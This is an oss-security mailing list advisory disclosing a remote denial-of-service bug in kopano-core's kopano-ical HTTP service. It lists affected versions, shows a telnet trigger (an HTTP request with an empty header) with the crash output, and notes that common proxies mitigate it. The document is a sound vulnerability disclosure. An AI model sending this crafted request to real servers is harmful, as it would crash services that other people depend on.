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Date: Fri, 2 Apr 2021 10:26:29 +0200 (CEST)
From: Jan Engelhardt <jengelh@...i.de>
To: oss-security@...ts.openwall.com
Subject: kopano-core 11.0.1.77: Remote DoS with out-of-bounds access
Initial publication, no CVE number yet.
# Affected versions
* kopano-core 11.0.1
* kopano-core 8.7.20
* it is believed this affects all other versions too,
including 10.0.7, 9.1.0, and zarafa 7.2.6.
The "kopano-ical" program implements a network service/trivial HTTP
server. It fails to properly check HTTP headers, and with a crafted
request, can be exploited to drive the process into an exception and
have it terminate.
# Trigger
» ./kopano-ical -F &
» telnet localhost 8000
Trying ::1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Foo:
Connection closed by foreign host.
terminate called after throwing an instance of 'std::out_of_range'
what(): basic_string::substr: __pos (which is 6) > this->size() (which is 5)
# Mitigation
In conjunction with a proxy, the issue does not occur as they often
filter lines (LF->CRLF, giving an extra byte). Tested ones:
nginx-1.19.8 squid-4.14 apache2-2.4.46 tinyproxy-1.10.0
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